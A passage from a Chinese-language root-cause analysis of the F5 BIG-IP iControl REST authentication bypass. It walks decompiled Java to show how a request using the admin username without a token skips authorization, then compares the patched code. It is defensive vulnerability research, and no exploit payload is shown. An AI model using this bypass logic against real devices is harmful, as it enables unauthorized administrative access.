request.setBody(errorResponse);
request.fail(new RestWorkerUriNotFoundException(message));
return true;
}
try {
worker.onRequest(request);
} finally {
ApiUsageData.addUsage(BUCKET.MESSAGE, request.getMethod(), worker.getUri().getPath());
}
} catch (Exception var11) {
LOGGER.severe("e:" + var11.getMessage());
request.fail(var11);
}
return true;
}
这里,基础的配置设置完成后,会调用worker.onRequest(request)
protected void onRequest(RestOperation request, String key) {
if (request != null) {
boolean toDispatch = this.dispatchOrQueue(request, key);
if (toDispatch) {
this.requestReadyQueue.add(request);
this.getServer().scheduleRequestProcessing(this);
}
}
}
将此request加入到requestReadyQueue中去,然后scheduleRequestProcessing
public void scheduleRequestProcessing(RestWorker worker) {
if (this.readyWorkerSet.add(worker)) {
RestThreadManager.getNonBlockingPool().execute(this.processRequestsTask);
}}
然后会调用processRequestsTask来处理这个请求,这个processRequestsTask在前边已经明确定义
public RestServer(int port, JettyHost jettyHost) {
this.pathToWorkerMap = new ConcurrentSkipListMap();
this.workerToCollectionPathsMap = new ConcurrentSkipListMap();
this.checkRestWorkerShutdownMillis = (int)TimeUnit.MINUTES.toMillis(1L);
this.supportWorkersStarted = false;
this.allowStackTracesInPublicResponse = false;
this.storageUri = null;
this.configIndexUri = null;
this.groupResolverUri = null;
this.deviceResolverUri = null;
this.forwarderUri = null;
this.machineId = null;
this.discoveryAddress = null;
this.scheduleTaskManager = (new ScheduleTaskManager()).setLogger(LOGGER);
this.readyWorkerSet = new ConcurrentSkipListSet();
this.indexRebuildCoordinator = new RunnableCoordinator(1);
this.forwardRequestValidator = null;
if (port < 0) {
throw new IllegalArgumentException("port");
} else {
this.listenPort = port;
this.jettyHost = jettyHost;
this.processRequestsTask = new Runnable() {
public void run() {
RestServer.this.processQueuedRequests();
}
};
}}
所以直接去看processQueuedRequests的处理即可,从队列中依次取出需要处理的request,挨个处理
private void processQueuedRequests() {
ArrayList workersWithMoreWork = new ArrayList();
while(true) {
RestWorker worker = (RestWorker)this.readyWorkerSet.pollFirst();
if (worker == null) {
Iterator i$ = workersWithMoreWork.iterator();
while(i$.hasNext()) {
RestWorker w = (RestWorker)i$.next();
this.scheduleRequestProcessing(w);
}
return;
}
boolean doContinue = false;
for(int i = 0; i < 100; ++i) {
RestOperation request = worker.pollReadyRequestQueue();
if (request == null) {
doContinue = true;
break;
}
worker.callRestMethodHandler(request);
}
if (!doContinue && worker.requestAreWaitingInReadyQueue()) {
workersWithMoreWork.add(worker);
}
}}
可以看到,队列中取出 request后会调用callRestMethodHandler去处理
protected final void callRestMethodHandler(RestOperation request) {
try {
boolean updateStats = RestHelper.isOperationTracingEnabled() && !this.isHelper();
RestMethod method = request.getMethod();
boolean hasParameters = !request.getParameters().isEmpty();
long startTimeMicroSec = 0L;
RestWorkerStats stats;
if (updateStats) {
startTimeMicroSec = RestHelper.getNowMicrosUtc();
stats = this.getStats();
if (stats != null) {
stats.incrementRequestCountForMethod(method, hasParameters);
}
}
this.callDerivedRestMethod(request, method, hasParameters);
if (updateStats) {
stats = this.getStats();
if (stats != null) {
stats.incrementMovingAverageRequestCountForMethod(method, RestHelper.getNowMicrosUtc() - startTimeMicroSec, hasParameters);
}
}
} catch (Exception var9) {
Exception e = var9;
try {
if (e instanceof JsonSyntaxException && (e.getCause() instanceof IllegalStateException || e.getCause() instanceof MalformedJsonException || e.getCause() instanceof EOFException)) {
LOGGER.fine("JSON parsing exception error, will execute XSS validation");
this.handleXSSAttack(request, e.getLocalizedMessage());
}
String exceptionMsgWithStack = RestHelper.throwableStackToString(e);
LOGGER.warning(String.format("dispatch to worker %s caught following exception: %s", this.getUri(), exceptionMsgWithStack));
} catch (Exception var8) {
LOGGER.severe("Failed to log exception in callRestMethodHandler");
}
request.fail(var9);
}
}
做一些判断后会调用callDerivedRestMethod函数
protected void callDerivedRestMethod(RestOperation request, RestMethod method, boolean hasParameters) {
switch(method) {
case GET:
if (hasParameters) {
this.onQuery(request);
} else {
this.onGet(request);
}
break;
case PATCH:
this.onPatch(request);
break;
case POST:
this.onPost(request);
break;
case PUT:
this.onPut(request);
break;
case DELETE:
this.onDelete(request);
break;
case OPTIONS:
String origin = request.getAdditionalHeader(Direction.REQUEST, "Origin");
if (origin != null && !origin.isEmpty()) {
request.getAdditionalHeaders(Direction.RESPONSE).addCORSResponseAllowMethodsHeader(this.getAllowedHttpMethods());
}
this.onOptions(request);
break;
default:
request.fail(new UnsupportedOperationException());
}}
根据request_method分发,我们去看onPost的实现
这里一定要注意一点,此时的this并不是RestWorker对象,而是ForwarderPassThroughWorker对象,具体要向前回溯去看实例化的过程,但是太麻烦,简易直接通过动态调试,一目了然
protected void onPost(RestOperation request) {
this.onForward(request);}
继续向下追ForwarderPassThroughWorker中的onForward
private void onForward(final RestOperation request) {
final ForwarderWorkerRequest mapping = this.forwarder.findMapping(request.getUri().getPath());
if (mapping == null) {
request.setStatusCode(400);
this.failRequest(request, this.getUriNotRegisteredException(request));
} else {
if (this.isExternalRequest(request)) {
ForwardRequestValidator validator = this.getServer().getForwardRequestValidator();
if (validator != null) {
try {
validator.validateRequest(request);
} catch (Exception var7) {
this.failRequest(request, var7);
return;
}
}
switch(mapping.apiStatus) {
case DEPRECATED:
request.setResourceDeprecated(true);
if (!isDeprecatedApiAllowed) {
request.setStatusCode(404);
this.failRequest(request, this.getUriNotRegisteredException(request));
this.logApiNotAvailable(request.getUri().getPath(), "deprecate");
return;
}
this.logApiAccessFailure(isLogDeprecatedApiAllowed, request.getUri().getPath(), "deprecate");
break;
case EARLY_ACCESS:
request.setResourceEarlyAccess(true);
if (!isEarlyAccessApiAllowed) {
request.setStatusCode(404);
this.failRequest(request, this.getUriNotRegisteredException(request));
this.logApiNotAvailable(request.getUri().getPath(), "earlyAccess");
return;
}
this.logApiAccessFailure(isLogEarlyAccessApiAllowed, request.getUri().getPath(), "earlyAccess");
break;
case TEST_ONLY:
if (!isTestOnlyApiAllowed) {
request.setStatusCode(404);
this.failRequest(request, this.getUriNotRegisteredException(request));
this.logApiNotAvailable(request.getUri().getPath(), "testOnly");
return;
}
this.logApiAccessFailure(isLogTestOnlyApiAllowed, request.getUri().getPath(), "testOnly");
break;
case INTERNAL_ONLY:
request.setStatusCode(404);
this.failRequest(request, this.getUriNotRegisteredException(request));
case NO_STATUS:
case GA:
break;
default:
this.failRequest(request, new IllegalStateException("Unknown API Availabilty type"));
return;
}
}
CompletionHandler completion = new CompletionHandler() {
public void completed(Void dummy) {
ForwarderPassThroughWorker.this.cloneAndForwardRequest(request, mapping);
}
public void failed(Exception exception, Void dummy) {
ForwarderPassThroughWorker.this.failRequest(request, exception);
AuditLog.auditLog(request, false);
}
};
boolean isPasswordExpired = request.getAdditionalHeader("X-F5-New-Authtok-Reqd") != null && request.getAdditionalHeader("X-F5-New-Authtok-Reqd").equals("true");
if (isPasswordExpired) {
String expiredPasswordUriPath = request.getUri().getPath();
boolean isPasswordRequestValid = this.passwordRequestIsOnlyToPermittedURI(expiredPasswordUriPath, request) && this.passwordRequestOnlyContainsPermittedFields(request) && this.userChangingSelfPassword(expiredPasswordUriPath, request);
if (!isPasswordRequestValid) {
request.setStatusCode(401);
this.failRequest(request, new SecurityException(CHANGE_PASSWORD_NOTIFICATION));
this.logExpiredPassword(expiredPasswordUriPath);
return;
}
}
boolean isRBACDisabled = this.getProperties().getAsBoolean("rest.common.RBAC.disabled");
if (isRBACDisabled) {
completion.completed((Object)null);
} else {
EvaluatePermissions.evaluatePermission(request, completion);
}
}}
经过动态调试,前边的分支都进不去,会进入EvaluatePermissions.evaluatePermission(request, completion)
public static void evaluatePermission(final RestOperation request, final CompletionHandler finalCompletion) { if (roleEval == null) { throw new IllegalArgumentException("roleEval may not be null."); } else { if (request.getReferer() == null) { request.setReferer(request.getRemoteSender()); } String authToken = request.getXF5AuthToken(); if (authToken == null) { completeEvaluatePermission(request, (AuthTokenItemState)null, finalCompletion); } else { RestRequestCompletion completion = new RestRequestCompletion() { public void completed(RestOperation tokenRequest) { AuthTokenItemState token = (AuthTokenItemState)tokenRequest.getTypedBody(AuthTokenItemState.class); EvaluatePermissions.completeEvaluatePermission(request, token, finalCompletion); } public void failed(Exception exception, RestOperation tokenRequest) { String error = "X-F5-Auth-Token does not exist."; EvaluatePermissions.setStatusUnauthorized(request); finalCompletion.failed(new SecurityException(error), (Object)null); } }; RestOperation tokenRequest = RestOperation.create().setUri(UrlHelper.extendUriSafe(UrlHelper.buildLocalUriSafe(authzTokenPort, new String[]{WellKnownPorts.AUTHZ_TOKEN_WORKER_URI_PATH}), new String[]{authToken})).setCompletion(completion); RestRequestSender.sendGet(tokenRequest); } }}
此处,获取到的authToken为null,所以会进入completeEvaluatePermission
private static void completeEvaluatePermission(final RestOperation request, AuthTokenItemState token, final CompletionHandler finalCompletion) {
if (token != null) {
if (token.expirationMicros < RestHelper.getNowMicrosUtc()) {
String error = "X-F5-Auth-Token has expired.";
setStatusUnauthorized(request);
finalCompletion.failed(new SecurityException(error), (Object)null);
return;
}
request.setXF5AuthTokenState(token);
}
request.setBasicAuthFromIdentity();
if (request.getUri().getPath().equals(EXTERNAL_LOGIN_WORKER) && request.getMethod().equals(RestMethod.POST)) {
finalCompletion.completed((Object)null);
} else if (request.getUri().getPath().equals(UrlHelper.buildUriPath(new String[]{EXTERNAL_LOGIN_WORKER, "available"})) && request.getMethod().equals(RestMethod.GET)) {
finalCompletion.completed((Object)null);
} else {
final RestReference userRef = request.getAuthUserReference();
final String path;
if (RestReference.isNullOrEmpty(userRef)) {
path = "Authorization failed: no user authentication header or token detected. Uri:" + request.getUri() + " Referrer:" + request.getReferer() + " Sender:" + request.getRemoteSender();
setStatusUnauthorized(request);
finalCompletion.failed(new SecurityException(path), (Object)null);
} else if (AuthzHelper.isDefaultAdminRef(userRef)) {
finalCompletion.completed((Object)null);
} else {
if (UrlHelper.hasODataInPath(request.getUri().getPath())) {
path = UrlHelper.removeOdataSuffixFromPath(UrlHelper.normalizeUriPath(request.getUri().getPath()));
} else {
path = UrlHelper.normalizeUriPath(request.getUri().getPath());
}
final RestMethod verb = request.getMethod();
if (path.startsWith(EXTERNAL_GROUP_RESOLVER_PATH) && request.getParameter("$expand") != null) {
String filterField = request.getParameter("$filter");
if (USERS_GROUP_FILTER_STRING.equals(filterField) || USERGROUPS_GROUP_FILTER_STRING.equals(filterField)) {
finalCompletion.completed((Object)null);
return;
}
}
if (token != null && path.equals(UrlHelper.buildUriPath(new String[]{EXTERNAL_AUTH_TOKEN_WORKER_PATH, token.token}))) {
finalCompletion.completed((Object)null);
} else {
roleEval.evaluatePermission(request, path, verb, new CompletionHandler() {
public void completed(Boolean result) {
if (result) {
finalCompletion.completed((Object)null);
} else {
String error = "Authorization failed: user=" + userRef.link + " resource=" + path + " verb=" + verb + " uri:" + request.getUri() + " referrer:" + request.getReferer() + " sender:" + request.getRemoteSender();
EvaluatePermissions.setStatusUnauthorized(request);
finalCompletion.failed(new SecurityException(error), (Object)null);
}
}
public void failed(Exception ex, Boolean result) {
request.setBody((String)null);
request.setStatusCode(500);
String error = "Internal server error while authorizing request";
finalCompletion.failed(new Exception(error), (Object)null);
}
});
}
}
}}
向下运行,会进入else if (AuthzHelper.isDefaultAdminRef(userRef))这个判断,由于现有reference是根据admin这个username生成的,所以会进入这个判断,成功继续向下运行,绕过判断。
修复
使用idea可以针对两个jar包开展比对,选中两个jar包后按command+D即可
经比较,发现RestOperationIdentifier类中的setIdentityFromBasicAuth函数变化较大
原代码:
private static boolean setIdentityFromBasicAuth(RestOperation request) { String authHeader = request.getBasicAuthorization(); if (authHeader == null) { return false; } else { BasicAuthComponents components = AuthzHelper.decodeBasicAuth(authHeader); request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null); return true; } }
更新后代码:
private static boolean setIdentityFromBasicAuth(final RestOperation request, final Runnable runnable) {
String authHeader = request.getBasicAuthorization();
if (authHeader == null) {
return false;
} else {
final BasicAuthComponents components = AuthzHelper.decodeBasicAuth(authHeader);
String xForwardedHostHeaderValue = request.getAdditionalHeader("X-Forwarded-Host");
if (xForwardedHostHeaderValue == null) {
request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
if (runnable != null) {
runnable.run();
}
return true;
} else {
String[] valueList = xForwardedHostHeaderValue.split(", ");
int valueIdx = valueList.length > 1 ? valueList.length - 1 : 0;
if (!valueList[valueIdx].contains("localhost") && !valueList[valueIdx].contains("127.0.0.1")) {
if (valueList[valueIdx].contains("127.4.2.1") && components.userName.equals("f5hubblelcdadmin")) {
request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
if (runnable != null) {
runnable.run();
}
return true;
} else {
boolean isPasswordExpired = request.getAdditionalHeader("X-F5-New-Authtok-Reqd") != null && request.getAdditionalHeader("X-F5-New-Authtok-Reqd").equals("true");
if (PasswordUtil.isPasswordReset() && !isPasswordExpired) {
AuthProviderLoginState loginState = new AuthProviderLoginState();
loginState.username = components.userName;
loginState.password = components.password;
loginState.address = request.getRemoteSender();
RestRequestCompletion authCompletion = new RestRequestCompletion() {
public void completed(RestOperation subRequest) {
request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
if (runnable != null) {
runnable.run();
}
}
public void failed(Exception ex, RestOperation subRequest) {
RestOperationIdentifier.LOGGER.warningFmt("Failed to validate %s", new Object[]{ex.getMessage()});
if (ex.getMessage().contains("Password expired")) {
request.fail(new SecurityException(ForwarderPassThroughWorker.CHANGE_PASSWORD_NOTIFICATION));
}
if (runnable != null) {
runnable.run();
}
}
};
try {
RestOperation subRequest = RestOperation.create().setBody(loginState).setUri(UrlHelper.makeLocalUri(new URI(TMOS_AUTH_LOGIN_PROVIDER_WORKER_URI_PATH), (Integer)null)).setCompletion(authCompletion);
RestRequestSender.sendPost(subRequest);
} catch (URISyntaxException var11) {
LOGGER.warningFmt("ERROR: URISyntaxEception %s", new Object[]{var11.getMessage()});
}
return true;
} else {
request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
if (runnable != null) {
runnable.run();
}
return true;
}
}
} else {
request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
if (runnable != null) {
runnable.run();
}
return true;
}
}
}
}
static {
TMOS_AUTH_LOGIN_PROVIDER_WORKER_URI_PATH = TmosAuthProviderCollectionWorker.WORKER_URI_PATH + "/" + TmosAuthProviderCollectionWorker.generatePrimaryKey("tmos") + "/login";
}}
修复后的代码针对请求的ip做了筛选,如果是127.0.0.1,或者是127.4.2.1同时username是f5hubblelcdadmin,则依然可以通过认证,但是其他的请求则无法直接通过认证,会检查认证是否过期,如果过期则使用口令密码重新验证。
**参考
**
CVE-2021-22986:F5 BIG-IP iControl REST未授权远程命令执行漏洞分析
F5从认证绕过到远程代码执行漏洞分析
F5 BIGIP iControl REST CVE-2021-22986漏洞分析与利用
从滥用HTTP hop by hop请求头看CVE-2022-1388